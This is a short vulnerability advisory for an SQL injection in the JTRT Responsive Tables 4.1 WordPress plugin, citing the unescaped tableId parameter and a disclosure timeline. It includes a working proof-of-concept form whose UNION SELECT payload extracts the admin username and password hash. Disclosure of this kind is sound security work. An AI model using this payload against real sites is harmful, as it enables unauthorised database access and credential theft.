JTRT Responsive Tables 4.1 – WordPress Plugin – Sql Injection

Homepage:

https://pt.wordpress.org/plugins/jtrt-responsive-tables/

Description:

• Type user acces: registered single user.

$_POST[‘tableId’] is not escaped.

File / Code:

Path: /wp-content/plugins/jtrt-responsive-tables/admin/class-jtrt-responsive-tables-admin.php

Line :  183

$getTableId = $_POST['tableId'];
...

$retrieve_data = $wpdb->get_results( "SELECT * FROM $jtrt_tables_name WHERE jttable_IDD = " . $getTableId );

Proof of Concept:

1 – Log in with single user.

2 – Using form, sqli by post:

<form method="post" action="http://target.dev/wp-admin/admin-ajax.php?action=get_old_table">
   <input type="text" name="tableId" value="1 UNION SELECT 1,2,CONCAT(user_login,char(58),user_pass),4,5 FROM wp_users WHERE ID=1">
   <input type="submit" name="">
</form>

3 – Result:

Timeline:

• 08/09/2017 – Discovered
• 11/09/2017 – Vendor finded
• 03/11/2017 – Publish